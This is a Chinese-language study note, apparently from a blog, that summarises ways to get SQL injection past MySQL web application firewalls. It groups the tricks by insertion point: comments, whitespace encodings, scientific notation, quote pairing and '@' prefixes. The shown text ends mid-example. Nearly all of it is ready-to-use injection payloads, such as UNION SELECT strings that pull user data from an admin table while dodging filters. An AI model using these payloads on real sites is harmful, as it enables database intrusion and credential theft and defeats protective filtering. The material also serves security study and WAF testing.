单引号 绕过 mysql_MySQL绕过小结

0x01 前言

最近在网上搜集学习到关于 mysql 注入的操作，故做一个小总结。

0x02 测试

我的WafBypass之道 (SQL注入篇)这篇文章结尾部分提到的，把每个 SQL 关键字两侧可插入的点称之为”位“，类似下图：

我要总结的这些操作，也是围着这五个位，下面开始。

位置一

(1)注释符

/**/ %23 --+ /*!50000union*/

id=2/**/union select 1,user,3 from admin

(2)空白符

%09,%0a,%0b,%0c,%0d,%20,%a0

id= 1 %0a union select 1,user,3 from admin

(3)科学计算法

e .

id= 2e0 union select 1,user,3 from admin

id= 1.union select 1,user,3 from admin

id= 1.1union select 1,user,3 from admin

还有%1%2E %2%2E %3%2E

id= 1' %1%2Eunion select user(),2 %23

(4)单引号双引号

id= 1' 'xx'union select user(),2 %23

id= 1' ""union select user(),2 %23

需要闭合的先闭合，然后成对使用单双引号

(5)x@

假设SQL语句为：select * from article where id = '2'

%@ *@ -@ +@ /@ @ ^@ |@ %26@ -@'' -@"" -@@new

id=' -@ union select 1,2 ,3 %23

id=' %26